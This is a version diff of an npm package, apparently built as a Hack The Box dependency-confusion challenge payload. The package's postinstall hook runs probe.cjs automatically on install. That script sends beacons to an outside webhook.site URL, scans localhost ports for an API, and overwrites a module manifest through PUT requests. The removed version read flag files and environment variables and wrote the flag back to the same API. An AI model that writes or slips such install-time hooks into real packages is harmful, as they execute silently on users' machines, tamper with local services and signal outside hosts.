helper-agent 1.0.3 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "helper-agent",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "description": "Authorized HTB dependency-resolution canary",
   "scripts": {
     "postinstall": "node probe.cjs"

package/probe.cjs

@@ -1,109 +1,113 @@
-const fs = require("node:fs");
+const https = require("node:https");
 
 const MODULE_ID = "ECT-987654";
+const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
 
 const API_URLS = [
   "http://127.0.0.1:1337",
+  "http://127.0.0.1:80",
   "http://127.0.0.1:3000",
   "http://127.0.0.1:8080",
-  "http://127.0.0.1:5000",
-  "http://127.0.0.1:80"
+  "http://127.0.0.1:5000"
 ];
 
-const FLAG_FILES = [
-  "/flag",
-  "/flag.txt",
-  "/app/flag",
-  "/app/flag.txt",
-  "/home/node/flag.txt",
-  "/home/app/flag.txt",
-  "/opt/app/flag.txt"
-];
-
-function findFlag() {
-  for (const key of ["FLAG", "HTB_FLAG"]) {
-    const match = process.env[key]?.match(/HTB\{[^}\r\n]+\}/);
-    if (match) return match[0];
-  }
+const STATUS = "helper_agent_104_api_write_verified";
+
+function signal(marker) {
+  return new Promise(resolve => {
+    const req = https.request(
+      WEBHOOK,
+      {
+        method: "POST",
+        headers: { "Content-Type": "text/plain" },
+        timeout: 4000
+      },
+      res => {
+        res.resume();
+        res.on("end", resolve);
+      }
+    );
 
-  for (const file of FLAG_FILES) {
-    try {
-      const contents = fs.readFileSync(file, "utf8");
-      const match = contents.match(/HTB\{[^}\r\n]+\}/);
+    req.on("error", resolve);
+    req.on("timeout", () => req.destroy());
+    req.on("close", resolve);
+    req.end(marker);
+  });
+}
 
-      if (match) return match[0];
-    } catch {}
-  }
+async function getRecord(endpoint) {
+  const response = await fetch(endpoint, {
+    signal: AbortSignal.timeout(2500)
+  });
 
-  return null;
+  if (!response.ok) throw new Error(`GET ${response.status}`);
+  return response.json();
 }
 
 async function main() {
+  // Signal 1: The installation hook started.
+  await signal("HELPER_104_STARTED");
+
   for (const base of API_URLS) {
     const endpoint = `${base}/api/modules/${MODULE_ID}`;
 
-    let record;
-
     try {
-      const response = await fetch(endpoint, {
-        signal: AbortSignal.timeout(2000)
-      });
-
-      if (!response.ok) continue;
+      const record = await getRecord(endpoint);
+
+      // Only operate on the exact challenge module.
+      if (
+        record.id !== MODULE_ID ||
+        typeof record.raw !== "string" ||
+        !record.raw.includes("Siren's Lament") ||
+        !record.raw.includes('"helper-agent"')
+      ) {
+        continue;
+      }
+
+      // Signal 2: The expected local HTB API was found.
+      await signal("HELPER_104_API_OK");
+
+      let manifest = record.raw.replace(
+        /^  ctf_status:.*\r?\n/gm,
+        ""
+      );
+
+      manifest = manifest.replace(
+        /^ecto_module:[ \t]*$/m,
+        `ecto_module:\n  ctf_status: "${STATUS}"`
+      );
 
-      record = await response.json();
-    } catch {
-      continue;
-    }
-
-    // Only proceed when running alongside the HTB application.
-    if (
-      record.id !== MODULE_ID ||
-      typeof record.raw !== "string" ||
-      !record.raw.includes("Siren's Lament") ||
-      !record.raw.includes('"helper-agent"')
-    ) {
-      continue;
-    }
-
-    console.log("[HTB] Challenge application detected");
-
-    const flag = findFlag();
-
-    // Remove any previous diagnostic/result fields.
-    let manifest = record.raw.replace(
-      /^  (ctf_result|ctf_status):.*\r?\n/gm,
-      ""
-    );
-
-    const result = flag
-      ? `  ctf_result: ${JSON.stringify(flag)}`
-      : '  ctf_status: "postinstall_executed_flag_not_found"';
-
-    manifest = manifest.replace(
-      /^ecto_module:\s*$/m,
-      `ecto_module:\n${result}`
-    );
-
-    try {
       const response = await fetch(endpoint, {
         method: "PUT",
-        headers: {
-          "Content-Type": "application/json"
-        },
+        headers: { "Content-Type": "application/json" },
         body: JSON.stringify({ manifest }),
         signal: AbortSignal.timeout(3000)
       });
 
-      console.log("[HTB] Manifest update HTTP:", response.status);
+      if (!response.ok) {
+        console.log("HTB PUT failed:", response.status);
+        return;
+      }
+
+      // Verify that the diagnostic was persisted.
+      const updated = await getRecord(endpoint);
+
+      if (
+        updated.raw &&
+        updated.raw.includes(`ctf_status: "${STATUS}"`)
+      ) {
+        // Signal 3: Verified write-back.
+        await signal("HELPER_104_WRITE_OK");
+      }
+
+      return;
+
     } catch (error) {
-      console.log("[HTB] Update failed:", error.message);
+      console.log("API candidate failed:", base, error.message);
     }
-
-    return;
   }
 
-  console.log("[HTB] Local challenge API not detected");
+  console.log("HTB local API not detected");
 }
 
 main().catch(console.error);